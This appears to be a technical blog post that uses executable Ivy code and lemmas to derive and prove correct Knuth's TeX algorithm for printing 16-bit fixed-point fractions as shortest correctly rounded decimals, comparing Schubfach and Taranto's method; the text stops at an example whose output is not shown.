\begin{matrix} d & = & ⌊ f \cdot 10^{5} + ½ ⌋ / 10^{5} & [definition of d] \\ \in & (f \cdot 10^{5} + ½ - [0 . . 1)) / 10^{5} & [range of floor] \\ = & (f - ½ \cdot 10^{- 5} . . f + ½ \cdot 10^{- 5}] & [simplifying] \\ \subset & [f - 2^{- 17} . . f + 2^{- 17}] & [½ \cdot 10^{- 5} < 2^{- 17}] \end{matrix}

We have shown that the 5-digit correctly-rounded decimal for $f$ is in the accuracy interval.

The problem statement and these two lemmas lead to a trivial direct solution: compute correctly rounded $p$ -digit decimals for increasing $p$ and return the first accurate one.

We will implement that solution in Ivy, an APL-like calculator language. Ivy has arbitrary-precision rationals and lightweight syntax, making it a convenient tool for sketching and testing mathematical algorithms, in the spirit of Iverson’s Turing Award lecture about APL, “Notation as a Tool of Thought.” Like APL, Ivy uses strict right-to-left operator precedence: 1+2*3+4 means (1+(2*(3+4))), and floor 10 log f means floor (10 log f). Operators can be prefix unary like floor or infix binary like log. Each of the Ivy displays in this post is executable: you can edit the code and re-run them by clicking the Play button (“▶️”). A full introduction to Ivy is beyond the scope of this post; see the Ivy demo for more examples.

To start, we need to build a small amount of Ivy scaffolding. The binary operator p digits d splits an integer d into p digits:

op p digits d = (p rho 10) encode d

3 digits 123
-- out --
1 2 3

4 digits 123
-- out --
0 1 2 3

Next, Ivy already provides $⌊ x ⌋$ and $⌈ x ⌉$ , but we need to define operators for $[x]$ , ${[x]}_{p}$ , ${⌊ x ⌋}_{p}$ , and ${⌈ x ⌉}_{p}$ .

op round x = floor x + 1/2

op p round x = (round x * 10**p) / 10**p
op p floor x = (floor x * 10**p) / 10**p
op p ceil  x = (ceil  x * 10**p) / 10**p

(Like APL, Ivy uses strict right-to-left evaluation; 1/2 is a rational constant literal, not a division.)

Now we can write our trivial solution.

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while 1
        d = p round f
        :if (min <= d) and (d < max)
            :ret p digits d * 10**p
        :end
        p = p + 1
    :end

Initial Proof of Correctness

The correctness of bin2dec is simple to prove:

The implementation of round is the mathematical definition of $p$ -digit rounding, so the result is correctly rounded.
By the Accuracy Lemma, $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ are correctly defined for use in the accuracy test $𝑚𝑖𝑛 \leq d < 𝑚𝑎𝑥,$ so the result is accurate.
The loop considers correctly rounded forms of increasing length until finding one that is accurate, so the result must be shortest.
By the Five-Digit Lemma, the loop returns after at most 5 iterations, proving termination.

Therefore bin2dec returns the shortest accurate correctly rounded decimal for $f$ .

Testing

Knuth’s motivating example was that the decimal 0.4 converted to binary and back printed as 0.39999 in TeX. Let’s define a decimal-to-binary converter and check how it handles 0.4.

op dec2bin f = (round f * 2**16) / 2**16

dec2bin 0.4
-- out --
13107/32768

dec2bin 0.39999
-- out --
13107/32768

float dec2bin 0.4
-- out --
0.399993896484

We can see that both $0.4$ and $0.39999$ read as $26214/2^{16}$ , or $13107/2^{15}$ in reduced form. The float operator converts that fraction to an Ivy floating-point value, which Ivy then prints to a limited number of decimals. We can see that 0.39999 is the correctly rounded 5-digit form.

Now let’s see how our printer does:

bin2dec dec2bin 0.4
-- out --
4

It works! And it works for longer fractions as well:

bin2dec dec2bin 0.123
-- out --
1 2 3

(The values being printed are vectors of digits of the decimal fraction.)

We can also implement Knuth’s solution, to compare against bin2dec.

op knuthP2 f =
    n = f * 2**16
    s = (10 * n) + 5
    t = 10
    d = ()
    :while 1
        :if t > 65536
            s = s + 32768 - t/2
        :end
        d = d, floor s/65536
        s = 10 * (s mod 65536)
        t = 10 * t
        :if s <= t
            :ret d
        :end
    :end

Compared to Knuth’s original program text, the variable d is now an Ivy vector instead of a fixed-size array, and the variable j, previously the number of entries used in the array, remains only implicitly as the length of the vector. The assignment ‘j := 0’ is now ‘d = ()’, initializing $d$ to the empty vector. And ‘j := j + 1; d[j] = s div 65536’ is now ‘d = d, floor s/65536’, appending $⌊ s /65536 ⌋$ to $d$ .

knuthP2 dec2bin 0.4
-- out --
4

Now we can use testing to prove the absence of bugs. We’ll be doing this repeatedly, so we will define check desc, which prints the result of the test next to a description.

)origin 0
op check desc =
    all = (iota 2**16) / 2**16
    ok = (bin2dec@ all) === (knuthP2@ all)
    print '❌✅'[ok] desc

check 'initial bin2dec'
-- out --
✅ initial bin2dec

In this code, ‘)origin 0’ configures Ivy to make iota and array indices start at 0 instead of APL’s usual 1; all is $[0 . . 2^{1} 6) /2^{1} 6$ , all the 16-bit fractions; ok is a boolean indicating whether bin2dec and knuthP2 return identical results on all inputs; and the final line prints an emoji result and the description.

Of course, we want to do more than exhaustively check knuthP2 against our provably correct bin2dec. We want to prove directly that the knuthP2 code is correct. We will do that by incrementally transforming bin2dec into knuthP2.

Walking Digits

We can start by simplifying the computation of decimals that are shorter than necessary. To build an inuition for that, it will help to look at the accuracy intervals of short decimals. Here are the intervals for our test case:

op show x = (mix 'min ' 'f' 'max'), mix '%.100g' text@ (dec2bin x) + (-1 0 1) * 2**-17

show 0.4
-- out --
min 0.39998626708984375
f   0.399993896484375
max 0.40000152587890625

That printed the exact decimal values of $f - 2^{- 17}$ ( $𝑚𝑖𝑛$ ), $f$ , and $f + 2^{- 17}$ ( $𝑚𝑎𝑥$ ) for $f = dec2bin (0.4) = [0.4 \cdot 2^{16}] / 2^{16} = 26214/65536$ .

Here are a few cases that are longer but still short:

show 0.43
-- out --
min 0.42998504638671875
f   0.42999267578125
max 0.43000030517578125

show 0.432
-- out --
min 0.43199920654296875
f   0.4320068359375
max 0.43201446533203125

show 0.4321
-- out --
min 0.43209075927734375
f   0.432098388671875
max 0.43210601806640625

These displays suggest a new strategy for bin2dec: walk along the digits of these exact decimals until $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ diverge at the $p$ th decimal place. At that point, we have found a $p$ -digit decimal between $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ , namely ${⌊ 𝑚𝑎𝑥 ⌋}_{p}$ . That result is obviously accurate and shortest. It is not obvious that the result is correctly rounded, but that turns out to be the case for $p \leq 4$ . Intuitively, when $p$ is shorter than necessary, there are fewer $p$ -digit decimals than 16-bit binary fractions, so each accuracy interval can contain at most one decimal. When the accuracy interval does contain a decimal, that decimal must be both ${[f]}_{p}$ and ${⌊ 𝑚𝑎𝑥 ⌋}_{p}$ . For the full-length case $p = 5$ , the accuracy interval can contain multiple $p$ -digit decimals, so ${[f]}_{p}$ and ${⌊ 𝑚𝑎𝑥 ⌋}_{p}$ may differ.

We will prove that now.

Rounding Lemma. For $p \leq 4$ , the accuracy interval contains at most one $p$ -digit decimal. If it does contain one, that decimal is ${[f]}_{p}$ , the correctly rounded $p$ -digit decimal for $f$ .

Proof. By the definition of rounding, we know that $d = {[f]}_{p}$ is at most $½ \cdot 10^{- p}$ away from $f$ and that any other $p$ -digit decimal must be at least $½ \cdot 10^{- p}$ away from $f$ . Since $½ \cdot 10^{- p} > 2^{- 17}$ , those other decimals cannot be in the accuracy interval: the rounded $d$ is the only possible option. (The rounded $d$ may or may not itself be in the accuracy interval, but it’s our best and only hope. If it isn’t there, no $p$ -digit decimal is.)

Endpoint Lemma. The endpoints $f \pm 2^{- 17}$ of the accuracy interval are never $p$ -digit decimals for $p \leq 5$ , nor are they shortest accurate correctly rounded decimals.

Proof. Because $f = n \cdot 2^{- 16}$ for some integer $n$ , $f \pm 2^{- 17} = (2 n \pm 1) \cdot 2^{- 17}$ . If an endpoint were a decimal of 5 digits or fewer, it would be an integer multiple of $10^{- 5}$ , but $(2 n \pm 1) \cdot 2^{- 17} / 10^{- 5} = ((2 n \pm 1) \cdot 5^{5}) \cdot 2^{- 12}$ is an odd number divided by $2^{12}$ , which cannot be an integer. The contradiction proves that the endpoints cannot be exact decimals of 5 digits or fewer. By the Five-Digit Lemma, the endpoints must also not be shortest accurate correctly rounded decimals.

Truncating Lemma. For $p \leq 4$ , the accuracy interval contains at most one $p$ -digit decimal. If it does contain one, that decimal is ${⌊ f + 2^{- 17} ⌋}_{p}$ , the $p$ -digit truncation of the interval’s upper endpoint.

Proof. The Rounding Lemma established that the accuracy interval contains at most one $p$ -digit decimal.

Let $𝑚𝑖𝑛 = f - 2^{- 17}$ and $𝑚𝑎𝑥 = f + 2^{- 17}$ , so the accuracy interval is $[𝑚𝑖𝑛 . . 𝑚𝑎𝑥)$ . Any $p$ -digit decimal in that interval must also be in the narrower interval using $p$ -digit endpoints

[{⌈ 𝑚𝑖𝑛 ⌉}_{p} . . {⌊ 𝑚𝑎𝑥 ⌋}_{p}] .

This new interval is strictly narrower because, by the Endpoint Lemma, $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ are not themselves $p$ -digit decimals.

If ${⌈ 𝑚𝑖𝑛 ⌉}_{p} > {⌊ 𝑚𝑎𝑥 ⌋}_{p}$ , the interval is empty. Otherwise, it clearly contains its upper endpoint, proving the lemma.

The Rounding Lemma and Truncating Lemma combine to prove that when $p \leq 4$ and the accuracy interval contains any $p$ -digit decimal, then it contains the single $p$ -digit decimal

{⌈ f - 2^{- 17} ⌉}_{p} = {[f]}_{p} = {⌊ f + 2^{- 17} ⌋}_{p} .

The original bin2dec was written like this:

)op bin2dec
-- out --
op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while 1
        d = p round f
        :if (min <= d) and (d < max)
            :ret p digits d * 10**p
        :end
        p = p + 1
    :end

By the Five-Digit Lemma, we know that the loop terminates in the fifth iteration, if not before. Let’s move that fifth iteration down after the loop, written as an unconditional return. That leaves the loop body handling only the short conversions:

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while p <= 4
        d = p round f
        :if (min <= d) and (d < max)
            :ret p digits d * 10**p
        :end
        p = p + 1
    :end
    p digits (p round f) * 10**p

check 'rounding bin2dec refactored'
-- out --
✅ rounding bin2dec refactored

Next we can apply the Truncating Lemma to the loop body:

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while p <= 4
        :if (p ceil min) <= (p floor max)
            :ret p digits (p floor max) * 10**p
        :end
        p = p + 1
    :end
    p digits (p round f) * 10**p

check 'truncating bin2dec'
-- out --
✅ truncating bin2dec

This version of bin2dec is much closer to P2, although not yet visibly so.

Premultiplication

Next we need to apply a basic optimization. The expressions p ceil min, p trunc max, and p round f hide repeated multiplication and division by $10^{p}$ . We can avoid those by multiplying $𝑚𝑖𝑛$ , $𝑚𝑎𝑥$ , and $f$ by $10$ on each iteration instead.

As an intermediate step, let’s write the multiplications by $10^{p}$ explicitly, changing p ceil x to (ceil x * 10**p) / 10**p and so on:

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while p <= 4
        :if ((ceil min * 10**p) / 10**p) <= ((floor max * 10**p) / 10**p)
            :ret p digits ((floor max * 10**p) / 10**p) * 10**p
        :end
        p = p + 1
    :end
    p digits ((round f * 10**p) / 10**p) * 10**p

check 'multiplied bin2dec'
-- out --
✅ multiplied bin2dec

Next, we can simplify away all the divisions by $10^{p}$ . In the comparison, not dividing both sides by $10^{p}$ leaves the result unchanged, and the other divisions are immediately re-multiplied by $10^{p}$ .

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    :while p <= 4
        :if (ceil min * 10**p) <= (floor max * 10**p)
            :ret p digits (floor max * 10**p)
        :end
        p = p + 1
    :end
    p digits (round f * 10**p)

check 'simplified'
-- out --
✅ simplified

Finally, we can replace the multiplication by $10^{p}$ with multiplying $f$ , $𝑚𝑖𝑛$ , and $𝑚𝑎𝑥$ by $10$ each time we increment $p$ :

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    f = 10 * f
    min = 10 * min
    max = 10 * max
    :while p <= 4
        :if (ceil min) <= (floor max)
            :ret p digits floor max
        :end
        p = p + 1
        f = 10 * f
        min = 10 * min
        max = 10 * max
    :end
    p digits round f

check 'premultiplied'
-- out --
✅ premultiplied

Collecting Digits

At this point the only important difference between Knuth’s P2 and our current bin2dec is that P2 computes one digit per loop iteration instead of computing them all from a single integer when returning. As we saw above, bin2dec is walking along the decimal form of $𝑚𝑖𝑛$ , $f$ , and $𝑚𝑎𝑥$ until they diverge, at which point it can return an answer. Intuitively, since the walk continues only while the digits of all decimals in the accuracy interval agree, it is fine to collect one digit per step along the walk.

To help prove that intuition more formally, we need the following law of floors, which Knuth also uses. For all integers $a$ and $b$ with $b > 0$ :

⌊ \frac{⌊ x ⌋ + a}{b} ⌋ = ⌊ \frac{x + a}{b} ⌋ .

Now we are ready to prove the necessary lemma.

Digit Collection Lemma. Let $𝑚𝑖𝑛 = f - 2^{- 17}$ and $𝑚𝑎𝑥 = f + 2^{- 17}$ . For $p \geq 1$ , the $p + 1$ -digit decimal ${⌊ 𝑚𝑎𝑥 ⌋}_{p + 1}$ has ${⌊ 𝑚𝑎𝑥 ⌋}_{p}$ as its leading digits:

{⌊ {⌊ 𝑚𝑎𝑥 ⌋}_{p + 1} ⌋}_{p} = {⌊ 𝑚𝑎𝑥 ⌋}_{p} .

Furthermore, for $p = 4$ , if ${⌈ 𝑚𝑖𝑛 ⌉}_{p} > {⌊ 𝑚𝑎𝑥 ⌋}_{p}$ then the $p + 1$ -digit decimal ${[f]}_{p + 1}$ has ${⌊ 𝑚𝑎𝑥 ⌋}_{p}$ as its leading digits:

{⌊ {[f]}_{p + 1} ⌋}_{p} = {⌊ 𝑚𝑎𝑥 ⌋}_{p} .

Proof. For the first half, we can prove the result for any $p \geq 1$ and any $x \geq 0$ , not just $x = 𝑚𝑎𝑥$ :

\begin{matrix} {⌊ {⌊ x ⌋}_{p + 1} ⌋}_{p} & = & ⌊ (⌊ x \cdot 10^{p + 1} ⌋ / 10^{p + 1}) \cdot 10^{p} ⌋ / 10^{p} & [definition of {⌊ ⌋}_{p + 1} and {⌊ ⌋}_{p}] \\ = & ⌊ ⌊ x \cdot 10^{p + 1} ⌋ / 10 ⌋ / 10^{p} & [simplifying] \\ = & ⌊ x \cdot 10^{p} ⌋ / 10^{p} & [law of floors] \\ = & {⌊ x ⌋}_{p} & [definition of {⌊ ⌋}_{p}] \end{matrix}

For the second half, ${⌈ 𝑚𝑖𝑛 ⌉}_{p} > {⌊ 𝑚𝑎𝑥 ⌋}_{p}$ expands to ${⌈ f - 2^{- 17} ⌉}_{p} > {⌊ f + 2^{- 17} ⌋}_{p}$ , which implies $f$ is $2^{- 17}$ away in both directions from an exact $p$ -digit decimal: $2^{- 17} \leq {f}_{p} < 10^{- p} - 2^{- 17}$ , or equivalently $10^{p} \cdot 2^{- 17} \leq {f \cdot 10^{p}} < 1 - 10^{p} \cdot 2^{- 17}$ . Note in particular that since $10^{p} \cdot 2^{- 17} = 10^{4} \cdot 2^{- 17} > 1/20$ , $⌊ f \cdot 10^{p} ⌋ = ⌊ f \cdot 10^{p} + 1/20 ⌋ = ⌊ 𝑚𝑎𝑥 \cdot 10^{p} ⌋$ .

Now:

\begin{matrix} {⌊ {[f]}_{p + 1} ⌋}_{p} & = & ⌊ {[f]}_{p + 1} \cdot 10^{p} ⌋ / 10^{p} & [definition of {⌊ ⌋}_{p}] \\ = & ⌊ (⌊ f \cdot 10^{p + 1} + ½ ⌋ / 10^{p + 1}) \cdot 10^{p} ⌋ / 10^{p} & [definition of {[]}_{p + 1}] \\ = & ⌊ ⌊ f \cdot 10^{p + 1} + ½ ⌋ / 10 ⌋ / 10^{p} & [simplifying] \\ = & ⌊ (f \cdot 10^{p + 1} + ½) / 10 ⌋ / 10^{p} & [law of floors] \\ = & ⌊ f \cdot 10^{p} + 1/20 ⌋ / 10^{p} & [simplifying] \\ = & ⌊ 𝑚𝑎𝑥 \cdot 10^{p} ⌋ / 10^{p} & [noted above] \\ = & {⌊ 𝑚𝑎𝑥 ⌋}_{p} & [definition of {⌊ ⌋}_{p}] \end{matrix}

(As an aside, this result is not a fluke of 16-bit binary fractions and $p = 4$ . For any $b$ -bit binary fraction, there is an accurate, correctly rounded $p + 1$ -digit decimal for $p + 1 = ⌈ log_{10} 2^{b} ⌉$ , because $10^{p + 1} > 2^{b}$ . That implies $10^{p} \cdot 2^{- (b + 1)} > 1/20$ .)

The Digit Collection Lemma proves the correctness of saving one digit per iteration and using that sequence as the final result. Let’s make that change. Here is our current version:

)op bin2dec
-- out --
op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    f = 10 * f
    min = 10 * min
    max = 10 * max
    :while p <= 4
        :if (ceil min) <= (floor max)
            :ret p digits floor max
        :end
        p = p + 1
        f = 10 * f
        min = 10 * min
        max = 10 * max
    :end
    p digits round f

Updating it to collect digits, we have:

op bin2dec f =
    min = f - 2**-17
    max = f + 2**-17
    p = 1
    f = 10 * f
    min = 10 * min
    max = 10 * max
    d = ()
    :while p <= 4
        d = d, (floor max) mod 10
        :if (ceil min) <= (floor max)
            :ret d
        :end
        p = p + 1
        f = 10 * f
        min = 10 * min
        max = 10 * max
    :end
    d, (round f) mod 10

check 'collecting digits'
-- out --
✅ collecting digits

This program is very close to P2. All that remains are straightforward optimizations.

Change of Basis

The first optimization is to remove one of the three multiplications in the loop body, using the fact that $𝑚𝑖𝑛$ , $f$ , and $𝑚𝑎𝑥$ are linearly dependent. If it were up to me, I would keep $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ and derive $f = (𝑚𝑖𝑛 + 𝑚𝑎𝑥) /2$ as needed, but to match P2, we will instead keep $s = 𝑚𝑎𝑥$ and $t = 𝑚𝑎𝑥 - 𝑚𝑖𝑛$ , deriving $𝑚𝑎𝑥 = s$ , $𝑚𝑖𝑛 = s - t$ , and $f = s - t /2$ as needed.

Let’s make that change to the program:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    p = 1
    s = 10 * s
    t = 10 * t
    d = ()
    :while p <= 4
        d = d, (floor s) mod 10
        :if (ceil s-t) <= (floor s)
            :ret d
        :end
        p = p + 1
        s = 10 * s
        t = 10 * t
    :end
    d, (round s - t/2) mod 10

check 'change of basis'
-- out --
✅ change of basis

Discard Integer Parts

The next optimization is to reduce the size of $s$ (formerly $𝑚𝑎𝑥$ ). The only use of the integer part of $s$ is to save the ones digit on each iteration, so we can discard the integer part with s = s mod 1 each time we save the ones digit. That lets us optimize away the two uses of mod 10:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    p = 1
    s = 10 * s
    t = 10 * t
    d = ()
    :while p <= 4
        d = d, floor s
        s = s mod 1
        :if (ceil s-t) <= (floor s)
            :ret d
        :end
        p = p + 1
        s = 10 * s
        t = 10 * t
    :end
    d, round s - t/2

check 'discard integer parts'
-- out --
✅ discard integer parts

After the new s = s mod 1, $⌊ s ⌋ = 0$ , so the if condition is really $⌈ s - t ⌉ \leq 0$ , which simplifies to $s \leq t$ . Let’s make that change too:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    p = 1
    s = 10 * s
    t = 10 * t
    d = ()
    :while p <= 4
        d = d, floor s
        s = s mod 1
        :if s <= t
            :ret d
        :end
        p = p + 1
        s = 10 * s
        t = 10 * t
    :end
    d, round s - t/2

check 'simplify condition'
-- out --
✅ simplify condition

Refactoring

Next, we can inline round on the last line:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    p = 1
    s = 10 * s
    t = 10 * t
    d = ()
    :while p <= 4
        d = d, floor s
        s = s mod 1
        :if s <= t
            :ret d
        :end
        p = p + 1
        s = 10 * s
        t = 10 * t
    :end
    s = (s - t/2) + 1/2
    d, floor s

check 'inlined round'
-- out --
✅ inlined round

Now the two uses of ‘d, floor s’ can be merged by moving the final return back into the loop, provided (1) we make the while loop repeat forever, (2) we apply the final adjustment to $s$ when $p = 5$ , and (3) we ensure that when $p = 5$ , the if condition is true, so that the return is reached. The if condition is checking for digit divergence, and we know that $𝑚𝑖𝑛$ and $𝑚𝑎𝑥$ will always diverge by $p = 5$ , so the condition $s \leq t$ will be true. We can also confirm that arithmetically: $t = 10^{5} \cdot 2^{- 16} > 1 > s$ .

Let’s make that change:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    p = 1
    s = 10 * s
    t = 10 * t
    d = ()
    :while 1
        :if p == 5
            s = (s - t/2) + 1/2
        :end
        d = d, floor s
        s = s mod 1
        :if s <= t
            :ret d
        :end
        p = p + 1
        s = 10 * s
        t = 10 * t
    :end

check 'return only in loop'
-- out --
✅ return only in loop

Next, since $t = 10^{p} \cdot 2^{- 17}$ , we can replace the condition $p = 5$ with $t > 1$ , after which $p$ is unused and can be deleted:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    s = 10 * s
    t = 10 * t
    d = ()
    :while 1
        :if t > 1
            s = (s - t/2) + 1/2
        :end
        d = d, floor s
        s = s mod 1
        :if s <= t
            :ret d
        :end
        s = 10 * s
        t = 10 * t
    :end

check 'optimize away p'
-- out --
✅ optimize away p

Next, note that the truth of $s \leq t$ is unchanged by multiplying both $s$ and $t$ by 10 (and the return does not use them) so we can move the conditional return to the end of the loop body:

op bin2dec f =
    s = f + 2**-17
    t = 2**-16
    s = 10 * s
    t = 10 * t
    d = ()
    :while 1
        :if t > 1
            s = (s - t/2) + 1/2
        :end
        d = d, floor s
        s = s mod 1
        s = 10 * s
        t = 10 * t
        :if s <= t
            :ret d
        :end
    :end

check 'move conditional return'
-- out --
✅ move conditional return

Finally, let’s merge the consecutive assignments to $s$ and $t$ , both at the top of bin2dec and in the loop:

op bin2dec f =
    s = 10 * f + 2**-17
    t = 10 * 2**-16
    d = ()
    :while 1
        :if t > 1
            s = (s - t/2) + 1/2
        :end
        d = d, floor s
        s = 10 * s mod 1
        t = 10 * t
        :if s <= t
            :ret d
        :end
    :end

check 'merge assignments'
-- out --
✅ merge assignments

Scaling

All that remains is to eliminate the use of rational arithmetic. which we can do by scaling $s$ and $t$ by $2^{16}$ :

op bin2dec f =
    s = (10 * f * 2**16) + 5
    t = 10
    d = ()
    :while 1
        :if t > 2**16
            s = (s - t/2) + 2**15
        :end
        d = d, floor s/2**16
        s = 10 * s mod 2**16
        t = 10 * t
        :if s <= t
            :ret d
        :end
    :end

check 'no more rationals'
-- out --
✅ no more rationals

If written in a modern compiled language, this is a very efficient program. (In particular, floor s/2**16 and s mod 2**16 are simple bit operations: s >> 16 and s & 0xFFFF in C syntax.)

And we have arrived at Knuth’s P2!

)op knuthP2
-- out --
op knuthP2 f =
    n = f * 2**16
    s = (10 * n) + 5
    t = 10
    d = ()
    :while 1
        :if t > 65536
            s = s + 32768 - t/2
        :end
        d = d, floor s/65536
        s = 10 * (s mod 65536)
        t = 10 * t
        :if s <= t
            :ret d
        :end
    :end

We started with a trivially correct program and then incrementally modified it, proving the correctness of each non-trivial step, to arrive at P2. We have therefore proved the correctness of P2 itself.

Simpler Programs and Proofs

We passed a more elegant iterative solution a few steps back. If we start with the premultiplied version, apply the change of basis $ε = 𝑚𝑎𝑥 - f = f - 𝑚𝑖𝑛$ , scale by $2^{16}$ , and change the program to return an integer instead of a digit vector, we arrive at:

op shortest f =
    p = 1
    f = 10 * f * 2**16
    ε = 5
    :while p < 5
        :if (ceil (f-ε)/2**16) <= floor (f+ε)/2**16
            :ret (floor (f+ε)/2**16) p
        :end
        p = p + 1
        f = f * 10
        ε = ε * 10
    :end
    (round f/2**16) p

The program returns the digits as an integer accompanied by a digit count. Any modern language can print an integer zero-padded to a given number of digits, so there is no need for our converter to compute those digits itself.

We can test shortest by writing bin2dec in terms of shortest and digits:

op bin2dec f =
    d p = shortest f
    p digits d

check 'simpler'
-- out --
✅ simpler

The full proof of correctness is left as an exercise to the reader, but note that the proof is simpler than the one we just gave for P2. Since we are not collecting digits one at a time, we do not need the Digit Collection Lemma.

This version of shortest could be made faster by using P2’s $s, t$ basis, but I think this form using the $f, ε$ basis is clearer, and the cost is only one extra addition in the loop body. The cost of that addition is unlikely to be important compared to the two multiplications and other arithmetic (two shifts, one subtraction, one comparison, one increment).

One drawback of this simpler program is that it requires $f$ to hold numbers up to $10^{5} \cdot 2^{16} > 2^{32}$ , so it needs $f$ to be a 64-bit integer, and the system Knuth was using probably did not support 64-bit integers. However, we can adapt this simpler program to work with 32-bit integers by observing that each multiplication by 10 adds a new always-zero low bit, so we can multiply by 5 and adjust the precision $b$ :

op shortest f =
    b = 16
    p = 1
    f = 10 * f * 2**b
    ε = 5
    :while p < 5
        :if (ceil (f-ε)/2**b) <= floor (f+ε)/2**b
            :ret (floor (f+ε)/2**b) p
        :end
        p = p + 1
        b = b - 1
        f = f * 5
        ε = ε * 5
    :end
    (round f/2**b) p

check '32-bit'
-- out --
✅ 32-bit

All modern languages provide efficient 64-bit arithmetic, so we don’t need that optimization today.

A More Direct Solution

Raffaello Giulietti’s Schubfach algorithm avoids the iteration entirely. Applied to Knuth’s problem, we can let $p = ⌈ log_{10} 2^{b} ⌉ (= 5)$ and compute the exact set of accurate $p$ -digit decimals $[{⌈ 𝑚𝑖𝑛 ⌉}_{p} . . {⌊ 𝑚𝑎𝑥 ⌋}_{p}]$ . That set contains at most 10 consecutive decimals (or else $p$ would be smaller), so at most one can end in a zero. If one of the accurate decimals $d$ ends in zero, we can use $d$ after removing its trailing zeros. (The Truncating Lemma guarantees that this shortest accurate decimal will be correctly rounded.) Otherwise, we should use the correctly rounded ${[f]}_{p}$ .

op shortest f =
    b = 16
    p = ceil 10 log 2**b
    f = (10**p) * f * 2**b
    t = (10**p) * 1/2
    min = ceil  (f - t) / 2**b
    max = floor (f + t) / 2**b
    :if ((d = floor max / 10) * 10) >= min
        p = p - 1
        :while ((d mod 10) == 0) and p > 1
            d = d / 10
            p = p - 1
        :end
        :ret d p
    :end
    (round f / 2**b) p

check 'schubfach'
-- out --
✅ schubfach

This program still contains a loop, but only to remove trailing zeros. In many use cases, short outputs will happen less often than full-length outputs, so most calls will not loop at all. Also, all modern compilers implement division by a constant using multiplication, so the loop costs at most $p - 1$ multiplications. Finally, we can shorten the worst case, at the expense of the best case, by using a $(log_{2} p)$ -iteration loop: divide away $⌊ p /2 ⌋$ trailing zeros (by checking $d mod 10^{⌊ p /2 ⌋}$ ), then $⌊ p /4 ⌋$ , and so on.

A Textbook Solution

All of this raises a mystery. Knuth started writing TeX82, which introduced the 16-bit fixed-point number representation, in August 1981 (according to “The Errors of TeX”, page 616), and the change to introduce shortest outputs was made in February 1984 (according to tex82.bug, entry 284). The mystery is why Knuth, working in the early 1980s, did not consult a recently published textbook that contains the answer, namely The Art of Computer Programming, Volume 2: Seminumerical Algorithms (Second Edition), by D. E. Knuth (preface dated July 1980).

Before getting to the mystery, we need to detour through the history of that specific answer. The first edition of Volume 2 (preface dated October 1968), contained exercise 4.4-3:

[25] (D. Taranto.) The text observes that when fractions are being converted, there is in general no obvious way to decide how many digits to give in the answer. Design a simple generalization of Method (2a) [incremental digit-at-a-time fraction conversion] which, given two positive radix $b$ fractions $u$ and $ε$ between 0 and 1, converts $u$ to a radix $B$ equivalent $U$ which has just enough places of accuracy to ensure that $| U - u | < ε$ . (If $u < ε$ , we may take $U = 0$ , with zero “places of accuracy.”)

The answer at the back of the book starts with the notation “[CACM 2 (July 1959), 27]”, indicating Taranto’s article “Binary conversion, with fixed decimal precision, of a decimal fraction”. Taranto’s article is about converting a decimal fraction to a shortest binary representation, a somewhat simpler problem than Knuth’s exercise poses. Written in Ivy, with variable names chosen to match this post, and scaling to accumulate bits in an integer during the loop, Taranto’s algorithm is:

op taranto (f ε) =
    fb = 0
    b = 0
    :while (ε < f) and (f < 1-ε)
        f = 2 * f
        fb = (2 * fb) + floor f
        f = f mod 1
        ε = 2 * ε
        b = b + 1
    :end
    :if (fb & 1) == 0
        fb = fb + 1
    :end
    fb / 2**b

If we write $f_{0}$ and $ε_{0}$ for the initial $f$ and $ε$ passed to shortest, then the algorithm accumulates a binary output in $f_{b}$ , and maintains $f = (f_{0} - f_{b}) \cdot 2^{b}$ , the scaled error of the current output compared to the original input. When $f \leq ε$ , $f_{b}$ is close enough; when $f \geq 1 - ε$ , $f_{b} + 1$ is close enough. Otherwise, the algorithm loops to add another output bit.

After the loop, the algorithm forces the low bit to 1. This handles the “when $f \geq 1 - ε$ , $f_{b} + 1$ is close enough” case. It would have been clearer to write $f \geq 1 - ε$ , but testing the low bit is equivalent. If the last bit added was 0, the final iteration started with $ε < f$ and did $f = 2 f, ε = 2 ε$ , in which case $ε < f$ must still be true and the loop ended because $f \geq 1 - ε$ . And if the last bit added was 1, the final iteration started with $f < 1 - ε$ and did $f = 2 f - 1, ε = 2 ε$ , in which case $f < 1 - ε$ must still be true and the loop ended because $f \leq ε$ .

(In fact, Taranto’s presentation took advantage of the fact that the low bit tells you which half of the loop condition is possible; it only checked the possible half in each iteration. For simplicity, the Ivy version omits that optimization. If you read Taranto’s article, note that the computation of the loop condition is correct in step B at the top of the page but incorrect in the IAL code at the bottom of the page.)

For the answer to exercise 4.4-3, Knuth needed to generalize Taranto’s algorithm to non-binary outputs ( $B > 2$ ), which he did by changing the final condition to $f > 1 - ε$ . For decimal output, the implementation would be:

op shortest f =
    ε = 2**-17
    d = 0
    p = 0
    :while (ε < f) and (f < 1-ε)
        f = 10 * f
        d = (10 * d) + floor f
        f = f mod 1
        ε = 10 * ε
        p = p + 1
    :end
    :if f > 1-ε
        d = d + 1
    :end
    d (1 max p)

Knuth’s presentation generated digits one at a time into an array. I’ve accumulated them into an integer $d$ here, but that’s only a storage detail. When incrementing the low digit after the loop, Knuth’s answer also checked for overflow from the low digit into higher digits. That check is unnecessary: if the increment overflows the bottom digit to zero, that implies the bottom digit can be removed entirely, in which case the loop would have stopped earlier.

It turns out that this code is not an answer to our problem:

check 'Knuth Volume 2 1e'
-- out --
❌ Knuth Volume 2 1e

The problem is that while it does compute a shortest accurate decimal, it does not guarantee correct rounding:

shortest dec2bin 0.12344
-- out --
